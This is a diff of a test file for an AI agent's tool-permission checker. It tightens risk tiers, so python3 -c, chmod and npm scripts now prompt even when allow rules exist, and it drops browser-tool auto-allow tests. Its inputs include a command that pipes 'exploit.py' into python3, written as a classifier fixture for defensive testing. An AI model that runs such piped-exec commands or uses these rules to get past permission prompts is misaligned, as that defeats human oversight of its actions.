describe("default allow: skill_load", () => {
|
|
@@ -4342,51 +4455,6 @@ describe("Permission Checker", () => {
|
|
|
4342
4455
|
expect(result.decision).toBe("allow");
|
|
4343
4456
|
});
|
|
4344
4457
|
});
|
|
4345
|
-
|
|
4346
|
-
// ── default allow: browser tools ──────────────────────────────
|
|
4347
|
-
|
|
4348
|
-
describe("default allow: browser tools", () => {
|
|
4349
|
-
beforeEach(() => {
|
|
4350
|
-
clearCache();
|
|
4351
|
-
testConfig.permissions = { mode: "strict" };
|
|
4352
|
-
});
|
|
4353
|
-
|
|
4354
|
-
test("all browser tools are allowed by default rules in strict mode", async () => {
|
|
4355
|
-
const browserTools = [
|
|
4356
|
-
"browser_navigate",
|
|
4357
|
-
"browser_snapshot",
|
|
4358
|
-
"browser_screenshot",
|
|
4359
|
-
"browser_close",
|
|
4360
|
-
"browser_click",
|
|
4361
|
-
"browser_type",
|
|
4362
|
-
"browser_press_key",
|
|
4363
|
-
"browser_wait_for",
|
|
4364
|
-
"browser_extract",
|
|
4365
|
-
"browser_fill_credential",
|
|
4366
|
-
];
|
|
4367
|
-
|
|
4368
|
-
for (const tool of browserTools) {
|
|
4369
|
-
const result = await check(tool, {}, "/tmp");
|
|
4370
|
-
expect(result.decision).toBe("allow");
|
|
4371
|
-
}
|
|
4372
|
-
});
|
|
4373
|
-
|
|
4374
|
-
test("browser_navigate with a real URL is allowed in strict mode", async () => {
|
|
4375
|
-
const result = await check(
|
|
4376
|
-
"browser_navigate",
|
|
4377
|
-
{ url: "https://example.com/path/to/page" },
|
|
4378
|
-
"/tmp",
|
|
4379
|
-
);
|
|
4380
|
-
expect(result.decision).toBe("allow");
|
|
4381
|
-
});
|
|
4382
|
-
|
|
4383
|
-
test("non-browser skill tools are NOT auto-allowed", async () => {
|
|
4384
|
-
// skill_test_tool is a registered skill-origin tool without a default
|
|
4385
|
-
// allow rule — it should prompt in strict mode.
|
|
4386
|
-
const result = await check("skill_test_tool", {}, "/tmp");
|
|
4387
|
-
expect(result.decision).not.toBe("allow");
|
|
4388
|
-
});
|
|
4389
|
-
});
|
|
4390
4458
|
});
|
|
4391
4459
|
|
|
4392
4460
|
describe("bash network_mode=proxied — risk capped at medium", () => {
|
|
@@ -4412,22 +4480,24 @@ describe("bash network_mode=proxied — risk capped at medium", () => {
|
|
|
4412
4480
|
command: "cat exploit.py | python3",
|
|
4413
4481
|
network_mode: "proxied",
|
|
4414
4482
|
});
|
|
4415
|
-
expect(risk).toBe(RiskLevel.Medium);
|
|
4483
|
+
expect(risk.level).toBe(RiskLevel.Medium);
|
|
4416
4484
|
});
|
|
4417
4485
|
|
|
4418
|
-
test("pipe to python3 -c is
|
|
4486
|
+
test("pipe to python3 -c is high risk (registry: python3 executes arbitrary code)", async () => {
|
|
4487
|
+
// python3 is classified as high-risk in the registry because it can
|
|
4488
|
+
// execute arbitrary Python code. The -c flag does not downgrade the risk.
|
|
4419
4489
|
const risk = await classifyRisk("bash", {
|
|
4420
4490
|
command:
|
|
4421
4491
|
'cat data.json | python3 -c "import sys; print(sys.stdin.read())"',
|
|
4422
4492
|
});
|
|
4423
|
-
expect(risk).toBe(RiskLevel.
|
|
4493
|
+
expect(risk.level).toBe(RiskLevel.High);
|
|
4424
4494
|
});
|
|
4425
4495
|
|
|
4426
4496
|
test("pipe to python3 without -c is high risk (stdin exec)", async () => {
|
|
4427
4497
|
const risk = await classifyRisk("bash", {
|
|
4428
4498
|
command: "cat exploit.py | python3",
|
|
4429
4499
|
});
|
|
4430
|
-
expect(risk).toBe(RiskLevel.High);
|
|
4500
|
+
expect(risk.level).toBe(RiskLevel.High);
|
|
4431
4501
|
});
|
|
4432
4502
|
|
|
4433
4503
|
test("proxied bash with high-risk command prompts (medium risk cap, no default allow rule)", async () => {
|
|
@@ -4459,10 +4529,12 @@ describe("bash network_mode=proxied — risk capped at medium", () => {
|
|
|
4459
4529
|
});
|
|
4460
4530
|
|
|
4461
4531
|
test("non-proxied bash with trust rule follows normal flow", async () => {
|
|
4462
|
-
|
|
4532
|
+
// Use git push (medium risk) since chmod is now high-risk in the registry
|
|
4533
|
+
// and high-risk commands are never auto-allowed by allow rules
|
|
4534
|
+
addRule("bash", "git push *", "/tmp");
|
|
4463
4535
|
const result = await check(
|
|
4464
4536
|
"bash",
|
|
4465
|
-
{ command: "
|
|
4537
|
+
{ command: "git push origin main" },
|
|
4466
4538
|
"/tmp",
|
|
4467
4539
|
);
|
|
4468
4540
|
expect(result.decision).toBe("allow");
|
|
@@ -4530,7 +4602,7 @@ describe("computer-use tool permission defaults", () => {
|
|
|
4530
4602
|
const risk = await classifyRisk(name, {});
|
|
4531
4603
|
// CU tools are proxy tools with RiskLevel.Low, but classifyRisk looks them up
|
|
4532
4604
|
// in the registry. In workspace mode, Low risk tools are auto-allowed.
|
|
4533
|
-
expect(risk).toBe(RiskLevel.Low);
|
|
4605
|
+
expect(risk.level).toBe(RiskLevel.Low);
|
|
4534
4606
|
}
|
|
4535
4607
|
});
|
|
4536
4608
|
});
|
|
@@ -4921,15 +4993,17 @@ describe("integration regressions (PR 11)", () => {
|
|
|
4921
4993
|
// Simulate a user who saved an action:npm rule
|
|
4922
4994
|
addRule("bash", "action:npm", "everywhere");
|
|
4923
4995
|
|
|
4924
|
-
//
|
|
4925
|
-
const r1 = await check("bash", { command: "npm
|
|
4996
|
+
// npm list is low-risk and should be auto-allowed via the action key
|
|
4997
|
+
const r1 = await check("bash", { command: "npm list" }, "/tmp");
|
|
4926
4998
|
expect(r1.decision).toBe("allow");
|
|
4927
4999
|
|
|
5000
|
+
// npm test and npm run build are high-risk (execute arbitrary scripts)
|
|
5001
|
+
// so they prompt even with an allow rule
|
|
4928
5002
|
const r2 = await check("bash", { command: "npm test" }, "/tmp");
|
|
4929
|
-
expect(r2.decision).toBe("
|
|
5003
|
+
expect(r2.decision).toBe("prompt");
|
|
4930
5004
|
|
|
4931
5005
|
const r3 = await check("bash", { command: "npm run build" }, "/tmp");
|
|
4932
|
-
expect(r3.decision).toBe("
|
|
5006
|
+
expect(r3.decision).toBe("prompt");
|
|
4933
5007
|
});
|
|
4934
5008
|
|
|
4935
5009
|
test("action key rule does not match when command is part of complex chain", async () => {
|
|
@@ -4948,7 +5022,7 @@ describe("integration regressions (PR 11)", () => {
|
|
|
4948
5022
|
});
|
|
4949
5023
|
|
|
4950
5024
|
test("raw legacy rule still works alongside new action key system", async () => {
|
|
4951
|
-
// Use host_bash with medium-risk commands (
|
|
5025
|
+
// Use host_bash with medium-risk commands (curl) so they aren't
|
|
4952
5026
|
// auto-allowed by low-risk classification or a default allow-all rule.
|
|
4953
5027
|
try {
|
|
4954
5028
|
rmSync(join(checkerTestDir, "protected", "trust.json"));
|
|
@@ -4956,20 +5030,20 @@ describe("integration regressions (PR 11)", () => {
|
|
|
4956
5030
|
/* may not exist */
|
|
4957
5031
|
}
|
|
4958
5032
|
clearCache();
|
|
4959
|
-
addRule("host_bash", "
|
|
5033
|
+
addRule("host_bash", "curl https://example.com", "everywhere");
|
|
4960
5034
|
|
|
4961
5035
|
// Exact match still works
|
|
4962
5036
|
const r1 = await check(
|
|
4963
5037
|
"host_bash",
|
|
4964
|
-
{ command: "
|
|
5038
|
+
{ command: "curl https://example.com" },
|
|
4965
5039
|
"/tmp",
|
|
4966
5040
|
);
|
|
4967
5041
|
expect(r1.decision).toBe("allow");
|
|
4968
5042
|
|
|
4969
|
-
// Different
|
|
5043
|
+
// Different curl argument should not match this exact raw rule
|
|
4970
5044
|
const r2 = await check(
|
|
4971
5045
|
"host_bash",
|
|
4972
|
-
{ command: "
|
|
5046
|
+
{ command: "curl https://other.com" },
|
|
4973
5047
|
"/tmp",
|
|
4974
5048
|
);
|
|
4975
5049
|
expect(r2.decision).not.toBe("allow");
|